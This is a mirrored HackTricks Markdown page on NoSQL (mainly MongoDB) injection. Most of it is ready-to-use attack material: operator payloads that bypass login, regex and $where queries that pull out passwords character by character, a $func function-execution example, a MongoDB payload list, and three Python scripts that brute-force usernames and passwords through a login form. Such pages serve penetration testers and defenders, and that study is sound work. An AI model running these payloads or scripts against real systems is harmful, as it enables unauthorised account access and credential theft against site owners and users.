mirror of
https://github.com/carlospolop/hacktricks
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222 lines
7.4 KiB
Markdown
222 lines
7.4 KiB
Markdown
# NoSQL injection
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NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
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## Exploit
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In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
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The exploits are based in adding an **Operator**:
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```bash
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username[$ne]=1$password[$ne]=1 #<Not Equals>
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username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
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username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
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username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
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username[$ne]=admin&pass[$gt]=s #<Greater Than>
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username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
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{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
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```
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### Basic authentication bypass
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**Using not equal ($ne) or greater ($gt)**
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```bash
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#in URL
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username[$ne]=toto&password[$ne]=toto
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username[$regex]=.*&password[$regex]=.*
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username[$exists]=true&password[$exists]=true
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#in JSON
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{"username": {"$ne": null}, "password": {"$ne": null} }
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
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{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
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```
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### **SQL - Mongo**
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```
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Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00
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```
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### Extract **length** information
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```bash
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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# True if the length equals 1,3...
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```
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### Extract **data** information
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```
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in URL (if length == 3)
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username[$ne]=toto&password[$regex]=a.{2}
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username[$ne]=toto&password[$regex]=b.{2}
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...
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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### **SQL - Mongo**
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```
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/?search=admin' && this.password%00 --> Check if the field password exists
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/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
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/?search=admin' && this.password && this.password.match(/^a.*$/)%00
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/?search=admin' && this.password && this.password.match(/^b.*$/)%00
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/?search=admin' && this.password && this.password.match(/^c.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
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```
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### PHP Arbitrary Function Execution
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Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
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```python
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"user":{"$func": "var_dump"}
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```
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.png>)
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## Blind NoSQL
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```python
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import requests, string
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alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(21):
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print("[i] Looking for char number "+str(i+1))
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for char in alphabet:
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r = requests.get("http://chall.com?param=^"+flag+char)
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if ("<TRUE>" in r.text):
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flag += char
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print("[+] Flag: "+flag)
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break
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```
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = {'ids': payload}, verify = False)
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if 'OK' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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## MongoDB Payloads
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```
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1'
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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```
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## Tools
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* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
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* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
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### Brute-force login usernames and passwords from POST login
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This is a simple script that you could modify but the previous tools can also do this task.
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```python
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import requests
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import string
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url = "http://example.com"
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headers = {"Host": "exmaple.com"}
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cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
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possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
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def get_password(username):
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print("Extracting password of "+username)
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params = {"username":username, "password[$regex]":"", "login": "login"}
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password = "^"
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while True:
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for c in possible_chars:
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params["password[$regex]"] = password + c + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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password += c
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break
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if c == possible_chars[-1]:
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print("Found password "+password[1:].replace("\\", "")+" for username "+username)
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return password[1:].replace("\\", "")
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def get_usernames():
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usernames = []
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params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
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for c in possible_chars:
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username = "^" + c
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params["username[$regex]"] = username + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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print("Found username starting with "+c)
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while True:
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for c2 in possible_chars:
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params["username[$regex]"] = username + c2 + ".*"
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if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
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username += c2
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print(username)
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break
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if c2 == possible_chars[-1]:
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print("Found username: "+username[1:])
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usernames.append(username[1:])
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break
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return usernames
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for u in get_usernames():
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get_password(u)
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```
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## References
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{% file src="../.gitbook/assets/EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf" %}
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[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection)
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